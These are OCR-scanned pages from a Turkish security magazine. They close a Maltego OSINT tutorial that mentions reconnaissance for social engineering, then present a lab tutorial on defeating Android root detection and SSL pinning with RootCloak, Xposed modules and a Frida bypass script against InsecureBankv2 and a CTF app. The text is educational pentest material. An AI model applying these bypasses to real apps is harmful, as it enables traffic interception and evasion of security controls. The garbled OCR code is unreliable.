bu konu hakkinda tartisabilirsiniz.

Import/Export (iceriye aktar/Disariya aktar)

g" ] R %9

Impart Graph _ Mapesmge Exort Grugh Export Gragh Ganerate Export Gragh | Impart
from Takle  Takular Impart WTakle  e3image  Aepart  as ML Taefiy J:enrl

Bu boélimde, yaptiginiz aragtirmanin grafiklerini ice/disa aktarabilir, Grafigi, tablo halinde ¢ikarabilir ya da bir gorsel olarak
disa ¢ikartabilirsiniz. Raporlarinizi yonetebilmek icin segenekler sunmaktadir.

Windows (Pencere):
Windows kisminda, programin biitiin diizenleme fonksiyonlar1 mevcuttur. “Biitiin grafikleri kapat”, “pencereyi sifirla” gibi se-
cenekleri iginde barindirmaktadur. Istediginiz sekilde yonetebilirsiniz.

ﬁ Close All Graphs m Home El Property View E‘] Machines Window E] Collaboration Window
ﬁl Close Other Graphs : ¢ Overview [>] Entity Palette ¢|_'| Run View & Hub Transform Inputs
& Reset Windows 8= Detail View @ Output Window [ Chat Window

Palet Boliimii:

New Graph (2) X

Search: |
P
- Devices d Q’
4 2:p google com
T =

Company

\

on E \
} 2 7
o ) ; \
group w ski \
i
Infrastructure “S2 \\
As \
e Z i nd

E;}'\Itm’ .com \.whms}?cgux‘;tcmarkm itor. cor}\\a\tl.aspmx.\.goog\e.mm

Banner
Banner N R Y

e - B \ X
\
P!

altz.aspmx.\.gaagle.c/ty( a\ta.aspmx.\.goqu\e.:om altd.aspmyx.l.google.com \a\spmx.l.gnngle.com

+1 \
Transforms vy

— © Machines

Company Stalker
This

Find Wikipedia Edits
This & B . i ] nsl.google.com ns2.google.com

Footprint L1
This

Footprint L2

Footprint L3 £ i ¥ PF ¥ ¢ T
Transform To DHS Name - SPF (sender policy framework) returned with 1 entities (from entity “gooale.com")
Footprint XXL Transform To DNS Name - MX (mail server) returned with 5 entities (from entity "google.com")
i< buill Transform To DHS Name - SPF (sender policy framework) done (from entity 'google.com')
Transform To DHS Name - MX (mail server] done {from entity "google.com')
Transform To DHS Name - NS {name server) returned with 4 entities (from entity "google.com")
Transform To DNS Name - NS (name server) done {from entity "google.com)
Running transform To Email address [From whois infol on 1 entities (from entity "google.com")
Transform To Email addr [From whois info] returned with 3 entities {from entity "google.com")
Transform To Email address [From whois info] done {from entity '"google.com”)

Palet boliimi, siiriikle birak yontemiyle calismaktadir. I¢inde birgok kategori bulunmaktadir. Bu kategorilerden istihbarat ihti-
yact hangisi ise secip siiriikleyip ortadaki beyaz sayfaya birakilir. Ornek olarak bir domain hakkinda bilgi toplayalim.
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Palet kismindan domain i¢in “Infrastructure (Altyap1)” kismindan domain’i segelim. [ ntsypatess

* Groups

= Infrastructure

A%
An inkermy

w Banner

AR intarmal doman

1Pv4 Address

N5 Record

Domain secenegini tutup sag tarafta bulunan bos sayfaya
stritkleyelim. Siiriikledikten sonra gift tiklayarak arag- || semmen BESEIEEORINES e
tirmak istedigimiz domain’in baginda “www” olmadan (6;\, N N ikped e
(.com, .net vb.) sekilde yazalim. -

[maltego.Bomain]

Details

Properties (2]

Notes
Daha sonra domaine sag tiklayip istedigimiz diizeyde sor- @
gu yapabilir ve ¢ikan alt sorgularin tizerinde de aym sekil- :
de sag tiklayarak istedigimiz sorgular1 gerceklestirebiliriz. e

Use the + button to add images

+O

Ortaya ¢ikan gorsel su sekilde olacaktir.

paterva.com

@ @ @ @

sbuse@web.com aob8nlvspehilalu3in2Thvp20@domai efmucfgdjmga3aciB0cpfe3sfu@domai d695tsm 306hmaBgOtd75dpaflk@domai
] P H
!r. ] hasal DX g
alt2.aspmx |.google.cem aspmx.l.gocgle.com altl.aspmux.l.google.com +1 302 745 2701
:;'I :;i www

+1 877 381 2449 +1800 333 7680 vivwi. paterva.com
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Bu gorseller tizerinden toplamak istediginiz istihbarat ihtiyaci ne ise onun tizerine ¢alisabilirsiniz. Maltego sayesinde sirketin
network mimarisi, domain adresleri, ¢alisan e-postalar1 ve numaralar1 vb. bilgileri elde edebilir, bunlar1 sosyal mithendislik ya
da teknik bilgiler tizerinden sisteme sizma ¢aligmalari i¢in kullanabilirsiniz.
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Run View (Calistirma Goriiniim kismi):

Run View
+ 4} Transforms
= o Machines

Company Stalker
This i ill get all emai nain then se ich on social E iments and = meta data. Input i

cipedia edits.

Footprint L3

Footprint XXL
This e js built t ets that's ) their own infrastructure. It tries to obtain the footprint by looking at SPF re

Bu kisimda performansi istediginiz seviyede ayarlayabilirsiniz. Hizli, de-
tay ve genis arama tiirlerini kullanabilirsiniz.

Machines

Maltego aracinin temel kullanimi bu sekildedir. Yapilmak istenen aras-
tirmanin detayina ve genigligine gore arastirmanin kalitesi ve yontemi
ama¢ dogrultusunda farklilik gosterebilir. Umarim yazimin faydasi ol-
mustur. Yaziy1 yayinlayan “Arka Kapi Dergi” ailesine bana bu firsat1 ver-
dikleri i¢in ¢ok tesekkiir ederim.

+ Relationships

=4 Hub Transform Inputs

Domain Name

WHOIS Info

— Dynamic properties
A nts

= Graph info

Weight

1 of 12 entities
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Android Uygulamalarinda
__ Onleyici Giivenlik
Onlemleri ve Atlatma

Yo

ndroid, giiniimiizde mobil cihazlarin biiyiik bir
Abélﬁmﬁnﬁ olugturan mobil isletim sistemidir. Hal

boyle olunca, mobil uygulamalar saldirilarin hede-
finde bulunmaktadirlar. Ozellikle kritik ve finansal iglemleri
gergeklestiren uygulamalar daha fazla risk altindadir. Bu uy-
gulamalarda saldirganlarin ataklarindan korunmak i¢in fark-
I1 giivenlik onlemleri alinabilmekte. Bu yazida ise Android
mobil uygulamalarindaki onleyici giivenlik 6nlemlerinden,
Root Detection, SSL Pinning ve HTTP Request Encryption
gtivenlik 6nlemlerini ve atlatma yontemlerini inceleyecegiz.

Rootlu Cihaz Tespiti [Root Detection):

Mobil cihazlar son kullanicilarin kullanimma sunulurken,
root kullanicisi yani sistemdeki en yet-
kili kullaniciya ulagmalar: kisitlanarak
teslim edilmektedir. Bu hem Andro-
id diinyasinda hem de iOS diinyasin-
da ayni sekildedir fakat mobil isletim
sistemlerinde yetki yiikseltecek bazi
gtivenlik acikliklar: tespit edilerek, bu
aciklar kullanilarak her iki mobil igle-
tim sisteminde root kullanicisina ulagi-
labilmektedir. Root kullanici haklarina
erisilmesi islemine Android ekosiste-
minde root islemi, iOS ekosisteminde
ise jailbreak adi verilmektedir. Bu is-
lem sonucunda root kullanic haklarina

ntemleri

erisebilen isletim sistemlerinde tiim dosya ve dizin erisimleri
acilmakta, bircok yetki isteyen uygulamalar cihaz tizerine ku-
rulabilmektedir. Saldirganlar bir uygulamayi hedef aldiklarin-
da, kisitlanmig normal bir mobil igletim sistemi yerine root
haklarinda ¢aligan mobil isletim sistemlerini tercih etmekte-
dirler. Ayrica, farkinda olmadan son kullanici root/jailbreak
islemi gecirmis bir cihaza sahip olup finansal uygulamalari-
n1 kullanmaya kalkmasi durumuna kars: root/jailbreak tespit
edilmesi adinda bir giivenlik onlemi uygulanmaktadir. Bu
onlem ile bazi uygulamalar sadece cihazin rootlu oldugu uya-
risin1 verip riski almasi durumunda, uygulamay: kullanmaya
devam ettirirken bazi uygulamalar ise dogrudan uyar1 mesa-
jindan sonra uygulamay kapatabilmektedirler.

Android uygulamalarinda yapilan
root’lu cihaz tespiti ve giivenlik 6n-
lemini atlatabilmek i¢in bu yazida,
Genymotion Emiilatorii tzerinde
Google Nexus 9 Android 6.0 API 23
kullanan root kullanicisinin agik ol-
dugu Sekil 1'de goriilen sanal mobil
cihazi kullanacagiz. Test uygulamasi
olarak da Android InsecureBankv2
uygulamasimni  kullanacagiz. And-
roid InsecureBankv2 uygulamasini

https://github.com/dineshshetty/An-
droid-InsecureBankv2  adresinden

edinebilirsiniz.
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Sekil 1. Genymotion Mobil Emiilatérii

Uygulamayi indirdikten sonra kurdugumuz emiilatori agip,
InsecureBankv2.apk dosyasini emiilatére siiriikleyip biraka-
rak kurabilirsiniz.

Sekil 2. InsecureBankv2 uygulamasi giris ekrani

Uygulama kuruldugunda Sekil 2'de goriilen giris ekrani ile agilmaktadir.

re® e 4 ahmet — -bash — 126x34

~ — -bash +

Last login: Mon Mar 18 14:34:57 on console

Ahmets-MacBook-Pro:~ ahmet$ adb shell am start -n com.android.insecurebankv2/com.android.insecurebankv2.PostLogin

WARNING: linker: /system/lib/libhoudini.so has text relocations. This is wasting memory and prevents security hardening. Pleas
e Fixs

Starting: Intent { cmp=com.android.insecurebankv2/.PostLogin }

Ahmets-MacBook-Pro:~ ahmet$ [

Sekil 3. InsecureBankv2 uygulamasi Activity atlatma

InsecureBankv2 uygulamasinda Android activity atlatma zafiyeti bulunmakta ve Sekil 3’te gortildiigt tizere adb ile PostLogin
activitysi InsecureBankv2 uygulamasinin giris ekranina herhangi bir kullanici ad1 ve parola girilmeden acilabilmektedir.
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Transfer

View Statement

Change Password

Rooted Device!!

Sekil 4. InsecureBankv2 uygulamasi PostLogin Activity Root Kontrolii

InsecureBankv2 uygulamasi PostLogin activity’si Sekil 4’te goriildugi tizere agildiginda ekranin altinda “Rooted Device!!” uya-
r1s1 bulunmaktadir. Bu uygulamada root’lu cihaz giivenlik kontrolii yapilmaktadir.

Uygulamanin root’lu cihaz giivenlik kontroliini nasil yaptigini gérmek i¢in InsecureBankv2.apk dosyasini dex2jar ve JD-GUI
araglari ile tersine mithendislik yontemleri kullanilarak $ekil 5 ve Sekil 6da goriilen PostLogin.class'na ulagilmistir.

ece
ICR- I

PostLogin.class - Java Decompiler

¥ @ android.support
» & annotation

g

> &Bve
> @7
v @ com
¥ {# android.insecurebankv2
* & BuildConfig.class
* %i ChangePassword.class
» & CryptoClass.class
* %y Dologin.class
» fi DoTransfer.class
» i FilePrefActivity.class
» i LoginActivity.class
* his MyBroadCastReceiver.class
» i MyWebViewClient.class
" gin.class
» i Roclass
* 4is TrackUserContentProvider.class
» & ViewStatement.class
* his WrongLogin.class
» i google
» i marcohc toasteroid

Sekil 5.

package com.android. insecurebankv2;

=import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.Menu;
import android.view.Menulnflater;
import android.view.Menultes;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.TextView;
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;

public class PostLogin
extends Activity
Button changepasswd_button;
TextView root_status;
Button statement_button;
Button transfer_button;
String unase;

private boolean doesSUexist()
1

Object localObject3 = null;
Object localObjectl = null;
try
{
localProcess = Runtime.getRuntime().exec(new Stringl] { “/system/xbinswhich®, “su™ });
localObjectl = localProcess;
localObject3 = localProcess;
String str = new BufferedReader(new InputStreamReader(localProcess.getInputStream())). readLine();
return str != null;

i
catch {Throwable localThrowable)
{
Process localProcess;
if (localObjectl != null) {
((Process) localObjectl).destroy();
+
return false;
finally
{

if (lecalThrowable != null) {
localThrowable.destroy();

}
}

private boolean doesSuperuserApkExist(String paramString)
{

InsecureBankv2 uygulamasi PostLogin.class-1
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PostLogin.class - Java Decompiler

com

av

< i 8

S e s aesmianicad private boolean doesSuperuserApkExist(String paramString)

> BuildConfig.class &
» %) ChangePassword.class return Boolean.valuedf(new File("/system/app/Superuser.apk”).exists()).booleanvaluel) == true;
> CryptoClass.class }
s DoLogin.class public void callPreferences()
> DoTransfer.class e
> FilePrefActivity.class startActivity(new Intent{this, FilePrefActivity.class));
> LoginActivity.class }
¥ T MyBroadCastReceiver.class protected void changePasswd()
> fah MyWebViewClient.class e {
» Intent locallntent = new Intent(getApplicationContext(), ChangePassword.class):
» % Reclass locallntent.putExtra("uname”, this.uname);
3 tartActivity(locallntent);
» ) TrackUserContentProvider.class Lizi s ot U
> fub ViewStatement.class
» 4 WrongLogin.class protected void onCreate(Bundle paranBundle)
» i google . A

super.onreate(paramBundle);

# marcohe.toasteroid setContentView(2130968606) ;

this.uname = getlntent().getStringExtra("uname");

this.root status = ((TextView)findViewById(2131558527));
showRootStatus();

this.transfer_button = ((Button)findViewById(2131558524));
this.transfer button.setOnClickListener (new View.OnClickListemer()
{

v

public veid onClick(View paramAnonymousView)
{

paramAnonymousView = new Intent(Postlogin.this.getApplicationContext(), DoTransfer.class);
. this.startAct ivity(paraminonymousView) ;
}
15
this.statenent button = ((Button)findViewById(2131558525));
this.statement button.setOnClickListener(new View.OnClickListener{}

public veid onClick(View paramAnonymousView)
{
Pastlogin. this.viewStatment();
}
h
this.ghangepasswd button = ((Butten)findViewById(2131558526));
this.changepasswd_button.setOnClicklistener{new View.OnClickListener()
public veid onClick(View paramAnonymousView)
{
Pastlogin. this.changePasswd();
}
H
}
public boolean onCreateDptionsMenu(Menu paramMenu)

getMenuInflater().inflate{2131623938, paramMenu);

Sekil 6. InsecureBankv2 uygulamasi PostLogin.class-2

[ ] PostLogin.class - Java Decompiler
B &g e

» {# android.support i x
v & com
¥ & android.insecurebankv2 }l?
pe H
¥ fub BuildConfig.class this.changepasswd_button = ((Button)findViewById(2131558526));
» s ChangePassword.class this.changepasswd button.setOnClickListener(new View.OnClickListener(}
» fup CryptoClass.class e . 3
» %) Dologin.class _ public void onClick(View paramAnonymousView)
* i DoTransfer.class postiogin. this. changepasswd();
» s FilePrefActivity.class }
» s LoginActivity.class A
» Jus MyBroadCastReceiver.class }
» up MyWebviewClient.class public boolean onCreateOptionsMenu(Menu paramtenu)
3 e {
» % Relass Eizzi:ugfﬁter(Lmﬂa(elzmezagss. parastenu) ;
» {us TrackUserContentProvider.class “'
» s ViewStatement.class
* s WrongLogin.class ?uuu: boolean onOptionsItemSelected(Menultem paramMenultem)
> 1l -
& google int i = paramMenultem.getItemId();
¥ il marcohc toasteroid 3f (i == 2131558559)
3
return true;
if (i == 2131558560)

¢ {
paramMenultem = mew Intent(getBaseContext(), LoginActivity.class);
paramMenultem. addFlags (67188864) ;
startActivity(paramienultem) ;
return true;

return super.ondptionsItenSelected(parantenultent;

void showRootStatus()
{

if ((doesSuperuserApkExist("/system/app/Superuser.apk")) || (dossSlexist())) {}
for (int i=1; i=1; {1 =4

this.root status.setText("Rooted Device!!");
return;

this.root status.setText("Device not Roote
}

protected void viewStatment()
{

Intent locallntent = new Intent{getApplicationContext(), ViewStatement.class};
localIntent.putExtra(“uname", this.uname);
startActivity(locallntent);

Sekil 7. InsecureBankv2 uygulamasi PostLogin.class-3




Sekil 5te goriilen doesSUexist() ve Sekil 6da goriilen does-
Superuser ApkExist() boolean metodlari, Sekil 7de showRo-
otStatus() metodunda kullanilarak kosul durumunda || (OR)
mantiksal ifadesi ile kontrol saglandiginda iki metottan biri-
nin “true” olmasi durumunda “Rooted Device!!”, her iki me-
todun return degeri “false” ise “Device not Rooted!!” olarak
ekrana yazmaktadir.

Bu uygulamanin yaptig1 root kontrolii ile uygulamada uyar1
vermeyip kapattigini varsayarsak test edebilmemiz i¢in bu uy-
gulamada bulunan root kontroliinii atlatmamiz gerekmekte-

dir.

Xposed Framework ile Android cihaziniz tizerinde Xposed
modillerini kullanarak cihazinizi ve uygulamalarimizi 6zel-
lestirebilirsiniz. Bu root kontrolii yapan uygulamalar1 ge-
cersiz kilmak icin de RootCloak adinda bir Xposed modiili
bulunmaktadir. Modiilii kurup aktif edebilmek i¢in ilk olarak
https://repo.xposed.info/module/de.robv.android.xposed.in-
staller

adresinden Xposed installer uygulamasini indirilip Sekil 8de
goruldiugi tizere test cihazina kurulmasi gerekmektedir.

@ © @ > Genymotion for personal use - Google Nexus 8 - 6.0.0 - AP| 23 - 1536x2048 (1536x2048, 320dpi) - 192.168.56...

Sekil 8. Xposed Installer

Xposed installer kurulduktan sonra root kontroliinii atlat-
mamizi saglayacak olan RootCloak modiiliiniin https://repo.
xposed.info/module/com.devadvance.rootcloak? adresinden
indirilip test cihazina kurulmasi gerekmektedir. Modiil kurul-
duktan sonra, Xposed installer uygulamas: agilarak Modules
kismindan aktif hale getirilmelidir. Sekil 9'da aktif hale getiri-
len Xposed modiilleri goriilmektedir.

Ahmet GUREL / Android Uygulamalari A\ 4 AW 041

Sekil 9. Xposed Modiilleri

Xposed ve RootCloak modiilii bagarili bir sekilde kurulduktan
sonra cihaz meniisinden RootCloak uygulamasi agilarak Se-
kil 10da goriilen ekrandan Manage Appse tiklanmalidir. Tik-
ladiktan sonra sag iist kdsede bulunan art1 butonuna basilma-
lidir. Art1 butonuna tiklandiginda Sekil 11de goriilen “Add an
App” ekrani agilmaktadir. Buradan root kontroliinii atlatmak
istedigimiz uygulamamizi seciyoruz.

RootCloak

Manage Apps
Manage Keywords
Manage Commands
Native Root Detection
Instructions

Debug Logs

App Launcher Icon

About
Roo

Sekil 10. RootCloak Xposed Modiilii-1
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Add an A

(CUITLYOUYIE. 8l UTOIU.Pal U1l Sewup)

Google Play Store
(com.android.vending)

Google Play services
(com.google.android.gms)

Google Services Framework
(com.google.android.gsf)
Google Text-to-speech Engine
(com.google.android.ts)

HTML Viewer
(com.android.htmiviewer)

Input Devices
(com.android.inputdevices)

InsecureBankv2
(com.android.insecurebankv2)

Inspeckage
(maobi.acpm.inspeckage)

Intent Filter Verification Service
(com.android.statementservice)

JustTrustMe
(just.trust.me)

Key Chain
(com.android keychain)

Launcher3
(com.android.launcher3)

Live Wallpaper Picker
(com.android.wallpaper.livepicker)

Magisk Manager
(com.topjohnwu.magisk)

Market Feedback Agent
(com.google.android.feedback)

Media Storage
(com.android.providers.media)

Messaging
(com.android.messaging)

MmsService
(com.android.mms.service)

Sekil 11. RootCloak Xposed Modiilii-2

Sectigimiz uygulama Sekil 12'de goriildiigli iizere ekrana gel-
mektedir. RootCloak modiilii ile olan kisim bu adimda ta-
mamlanmaktadir. Daha sonra, Sekil 3de goriilen yontem ile
InsecureBank uygulamamizin root kontrolii yapan PostLogin
activity’sini yeniden agiyoruz.

€ Customize Apps

com.android.insecurebankv2

Sekil 12. RootCloak Xposed Modiilii-3

70

= PostlLogin

Transfer

View Statement

Change Password

Device not Rooted!!

Sekil 13. InsecureBank Uygulamasi1 Root Kontrolii

Sekil 13’te goriildiigii tizere InsecureBank uygulamasi yeniden
acildiginda artik “Device Not Rooted!!” yazmaktadir. Uygu-
lama tarafindan yapilan root kontrolii bagarili bir sekilde at-
latilmistir. Xposed modiilleri uygulamanin ¢aliyma aninda
miidahale ederek yaptig1 kontrolleri atlatmamiza yardimci
oldu fakat unutulmamalidir ki her root kontrolii RootCloak
ile atlatilamayabilir.

Sertifika Sabitleme

(Certificate Pinning / SSL Pinning):

SSL pinning diger bir adiyla Certificate Pinning yontemi, ya-
zilimcilar tarafindan mobil uygulamalar gelistirilirken kulla-
nilan oénleyici bir giivenlik dnlemidir. Sizma testi gergekles-
tirilecek bir mobil uygulamada isteklerin proxy yazilimu ile
incelenmesi ve degistirilmesi gerekmektedir fakat SSL pinning
uygulanan bir uygulamada, uygulama ve sunucu arasindaki
HTTP isteklerine erisebilmemiz i¢cin SSL pinning dnlemini
atlatmamiz gerekmektedir.

SSL Pinning detaylarina girmeden once SSL (Secure Socket
Layer) ile baslayalim. Kisisel gizlilik ve giivenilirlik saglayan,
network iizerindeki bilgi transferi sirasinda bilginin biitiinligii
ve gizliligi (data protection) igin sunucu ile istemci arasindaki
iletisimin sifrelenmis sekilde yapilabilmesine imkan veren, bu
sayede gizliligi ve biitiinligli saglayan giivenlik protokoliidiir.
SSL sayesinde baglanilan sunucunun baglanmak istenilen su-
nucu oldugu dogrulanabilir, sunucu ile gergeklestirilen ileti-
sim sifrelenerek iletisimin ti¢iinci kisiler tarafindan izlenme-
sinin 6niine gegilebilir. Ozellikle gizli kalmas: gereken hassas
bilgilerin (kullanici adi ve sifre, kredi ve banka kart1 bilgileri,
kisisel bilgiler vb.) aktariminda kullanilmaktadr.

SSL kullanarak giivenli bir baglanti kurmak i¢in SSL sertifi-
kalarina ihtiya¢ vardir. SSL sertifikalari, sunucunun kimligi-
ni dogrulayarak giivenli bir baglantinin baslatilmasinda kul-
lanilir. Bu sertifikalarin giivenilir sayilmas: i¢in bir sertifika
otoritesi CA (Certification Authority) tarafindan onaylanmis
olmasi gerekmektedir. Sertifika otoritelerinin tanimlanmasi
i¢in ise CA sertifikalar1 kullanilir. CA sertifikalar1 Androidde
isletim sistemine gomiilmiis olarak gelmektedir. Android ile



birlikte gelen CA sertifikalarini Settings >
> Trusted credentials altinda bulabilirsiniz. Burada
SYSTEM ve USER olarak iki ayr1 giivenilen CA sertifikalar1
goriilebilmektedir. Cihazin tizerine kendimiz bir CA sertifi-
kas1 kurup giivendigimizde USER sekmesinin altinda goriile-
bilmektedir.

Security

SSL pinning, diger bir adiyla Certificate Pinning yontemi ile
yazilimc, cihaz tizerinde bulunan Trusted CA sertifikalarina
glivenmeyerek, uygulamanin i¢ine kendi CA sertifikasini ek-
leyerek bu sertifika ile imzalanan sertifikalara giivenip sadece
onlar ile baglant: kurmaktadir.

Biz proxy yazilimlar ile tim trafigi dinlemek istedigimizde
Burp Suite yaziliminin CA sertifikasini indirerek bunu mobil
cihazimiza yiikledigimizde ve bu sertifikaya giivendigimizde
Settings > Security > Trusted credentials altinda
USER sekmesinin altinda goriilmektedir. Cihaz artik Burp Su-
ite yazihminin CA sertifikasina giivenmektedir fakat SSL pin-
ning yontemi uygulanmis bir uygulama cihaz tizerinde kurulu

Dashboard ~ Target  Proxy  Intruder  Repeater
Intercept  HTTP history
Filer: Hiding CSS, image and general binary content

# ¥  Host Method  URL Params  Edited Status Length

Sekil 14. TicketMachine Uygulamasi

Sequencer Y
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olan hicbir sertifikaya giivenmedigi icin uygulama ve sunucu
arasindaki iletisimi baglatmayip, baglanti hatasi verecektir.
Mobil uygulama giivenlik testi yapmak istedigimizde ilk yap-
mamiz gereken islemlerden birisi de SSL pinning yontemini
atlatmak, gecersiz kilmaktir.

Uygulama kisminda DKHOS ( Diinyay1 Kurtaran Hacker'n
Oglunun Sevgilisi ) CTF yarigmasinda Mobile 300 sorusunda
bulunan SSL Pinning yonteminin farkl yollar ile atlatilmasini
ele alacagim.

Gerekli proxy yapilandirmalari girilmis, Burp Suite CA serti-
fikas1 mobil cihaza yiiklenmistir. Mobil cihazdaki web tarayi-
cisindan yapilan istekler Burp Suite proxy yaziliminda goriile-
bilmektedir. Sekil 14’te goriilen TicketMachine uygulamasina
veri girilip GET TICKET butonuna basildiginda uygulamadan
sunucuya istek gonderilmekte fakat uygulamadan gonderilen
istek Burp Suite proxy yaziliminda goriilmemektedir. Uygula-
mada SSL Pinning bulunmaktadir.

Liitfen Bekleyin

Xposed JustTrustMe ve SSL Unpinning Modiilleri ile SSL Pinning Atlatma

Xposed Framework ile Android cihaziniz iizerinde Xposed modiillerini kullanarak cihazinizi ve uygulamalarinizi 6zellestire-
bilirsiniz. Sekil 8 ve Sekil 9da goriilen Xposed kurulumu ve modiilleri gorillmektedir. SSL Pinning giivenlik 6nlemini gegersiz
kilmak i¢in de https://github.com/Fuzion24/JustTrustMe ve https://github.com/ac-pm/SSLUnpinning Xposed adreslerinden
JustTrustMe ve SSLUnpinning modiillerinin apk kurulum dosyalarini indirip test cihaziniza kurabilirsiniz.

Xposed JustTrustMe ve SSLUnpinning modiilleri, bilinen SSL Handshake API metodlarini hook'layarak SSL pinning yontemini
devre dis1 birakmaktadir. Sekil 15’te goriilen SSLUnpinning Xposed modiilii ile TicketMachine uygulamasi secilmis ve Sekil
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16da gortldigi tizere SSL Unpinning modiili ile TicketMachine uygulamasinda bulunan SSL Pinning atlatilmigtir.

SSLUnpinning 2.0

@ BusyBox Free
stericson.busybox

TicketMachine
ticket.dkhos.mob ticketmachine

frida-test
com.example.a11x256.frida_test

Xposed Installer
de.robv.android.xposed.installer

Inspeckage
mobi.acpm.inspeckage

SSLUnpinning 2.0

mobi.acpm.sslunpinning

JustTrustMe

just.trust.me

InsecureBankv2
com.android.insecurebankv2

Android SSL TrustKiller
com.android SSLTrustKiller

APl Demos

com.example.android.apis

RootCloak
com.devadvance rootcloak2

Sekil 15. SSL Unpinning 2.0 Xposed Modiilii

Dashboard Target Proxy Intruder  Repeater  Sequencer Decoder  Comparefif'y
Intercept HTTP history ~ WebSackets history TicketMachine

Filter: Hiding €SS, image and general binary content

# Host Method URL Params Edited Status Length MIME type Extension
B https: //android.googleapis.com  POST Jauth/devicekey v 400 2000 HTML
6 hittps://content-signature .cdn.... GET Jchains/normandy. content-signature... v 304 413 chain
H hitps://content-signature .cdn.... GET Jehains/normandy. content-signature... v 200 6410 script chain
4 https: /{normandy.cdn.mozilla.net GET Japifvlrecipe/signed [?enabled =true v 200 73279 JSON
3 https: //classify-client.services.... GET fapijvl fclassify_client) 200 753 JSON
2 https: //normandy.cdn.mozilla.net GET fapifvlf 200 1398 JSON
1 hitps://pelinsu.club POST  /pages/login.php v HTML php
info@gurelahmet.com
Request
Raw Params Headers Hex

POST /pages/login.php HTTP/l.1

Accept-Language: en-US;g=0.5

Accept: */*

Content-Type: application/json

User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0; Google Build/MRAS58K)
Host: pelinsu.club

Connection: close

Accept-Encoding: gzip, deflate

Content-Length: 44

{"pass”:"test”,"mail”:"infofgurelahmet.com"}

GET TICKET

Sekil 16. SSL Unpinning Modiilii ile TicketMachine Uygulamasi SSL Pinning Atlatilmasi
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Frida ile SSL Pinning Atlatma

Frida, dinamik analiz yapmamiza imkan veren gelismis bir aractir. Kendi betiklerimizi gelistirerek uygulamalarin ¢aligma anin-
da birgok fonksiyonu hook’layabiliriz. Fridanin ¢ok kullanilan SSL pinning vb. yontemlerin atlatilmast igin gelistirilen hazir
betikleri Github tizerinden bulunabilmektedir.

Frida betiklerinin ¢alistirilacagi Python kurulu test yapilacak bilgisayara pip install frida-tools komutu ile frida kurulabilmek-
tedir. Ayrica mobil uygulamanin ¢aligacagi mobil cihaza uygun versiyonu https://github.com/frida/frida/releases adresinden
indirilerek asagidaki komutlar ile ¢alistirilmalidir. (Genymotion emiilatorii x86 mimari kullanmaktadir.)

adb push frida-server /data/local/tmp

adb shell

cd /data/local/tmp

chmod +x frida-server
./frida-server

Sekil 17de gorildiigl tizere Burp Suite CA sertifikas: cacert.der adb push komutu ile emiilatoriin /data/local/tmp/ dizinine
cert-der.crt adiyla génderilmektedir. indirilen frida-server dosyasi da ayni dizine adb push ile gonderilmektedir.

Ahmets-MacBook-Pro:Desktop ahmet$ adb push cacert.der /data/local/tmp/cert-der.crt

cacert.der: 1 file pushed. 8.3 MB/s (973 bytes in 8.0803s)

Ahmets-MacBook-Pro:Desktop ahmet$ adb push frida-server /data/local/tmp

frida-server: 1 file pushed. 96.2 MB/s (24383332 bytes in ©.241s)

Ahmets-MacBook-Pro:Desktop ahmet$ frida -U -f ticket.dkhos.mob.ticketmachine -1 frida-android-sslpinning-bypass.js --no-pausell

Sekil 17. Burp Suite CA sertifikasinin ve frida-server’in emiilatére aktarilmasi

Daha sonra, $ekil 18de goriildiigt tizere adb shell komutu ile emiila- |5 ot o vacBook-pro:Desktop ahmets adb shell

toriin komut satirina baglanilarak /data/local/tmp dizinine gidilerek 755 [root@vbox86p:/ # cd /data/local/tmp/ )

.. oA . . root@vbox86p:/data/local/tmp # chmod 7556 frida-server
izinleri frida-server dosyasina verildikten sonra . /frida-server ko- iroot@vbox8sép:/data/local/tmp # ./frida-server

mutu ile caligtirilmaktadir. Artik emiilatériimiiz ve ana hostumuzda frida

caligmaktadir. Sekil 18. frida-server calistirilmasi

. [ ] frida-android-ssipinning-bypass.js

4r frida-android-sslpinning-bypass.js
on(){

var CertificateFactory /i a.security.cert.CertificateFactory");

r FileInputStream - Ja io.FileInputStream");

r BufferedInputStream e io.BufferedInputStream");
X509Certificate K rity.cert.X509Certificate");
eyStore yStore");

var TrustManagerFactory x.net.ssl.TrustManagerFactory");
var SSLContext - Java. .ne SSLContext");

{
var fileInputStream

(err) {
console.log("[o] " + err);

r bufferedInputStream = BufferedInputStream.$new(fileInputStream);
r ca = cf.gener ert (bufferedInputStream);
bufferedInputStream IH

var certInfo - Java.cast{ca, X509Certificate);
console.log(" [o] Our CA Info: " + certInfo.getSubjectDN());

keyStore, load(
keyStore.setCertifica

rustManager that trusts the CA in our KeyStore...");
Fi .getDefaultAlgorithm();
tance(tmfAlgorithm);

e.log(" [+] Our TrustManager is ready...");

"[+] Hijacking SSLContext methods now...")
-] Waiting for the app to invoke SSLContext.init()...")

ax.net.ssl.KeyManager;", i s1. TrustManager;" ava. security.SecureRandom") . implementation T (a,b,¢) {

d javax ss1.SSLContex i

[Ljavax.net KeyManage L et.ssl.TrustManager;", "java.security.SecureRandom").call(this, a, tmf.getTrustManagers(), c);
ontext initialized with our custom TrustManager!");

Sekil 19. Frida ile SSL Pinning Atlatmaya yarayan betik
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Sekil 19da goriilen betik, Frida ile SSL Pinning yontemini atlatmaya yaramaktadir. https://codeshare.frida.re/@pcipolloni/uni-
versal-android-ssl-pinning-bypass-with-frida/ adresinden ssl pinning atlatma betigini indirebilirsiniz.

Sekil 19da goriilen kod blogunda goriilen SSL TrustManager API metodlar1 hook’lanarak SSL pinning atlatilmaya ¢alisilmak-
tadur.

Ahmets-MacBook-Pro:Desktop ahmet$ adb push cacert.der /data/local/tmp/cert-der.crt

cacert.der: 1 file pushed. 8.3 MB/s (973 bytes in 6.883s)

Ahmets-MacBook-Pro:Desktop ahmet$ adb push frida-server /data/local/tmp

frida-server: 1 file pushed. 96.2 MB/s (24303332 bytes in 9.241s)

Ahmets-MacBook-Pro:Desktop ahmet$ frida -U -f ticket.dkhos.mob.ticketmachine -1 frida-android-sslpinning-bypass.js --no-pause

Jimm] Frida 11.8.13 - A world-class dynamic instrumentation toolkit
E ek

> _ | Commands:

It e help -» Displays the help system

#ow e object? => Display information about ‘object’

W ow o o exit/quit -> Exit

+ + « « More info at http://www.frida.re/docs/home/
Spawned “ticket.dkhos.mob.ticketmachine . Resuming main thread!
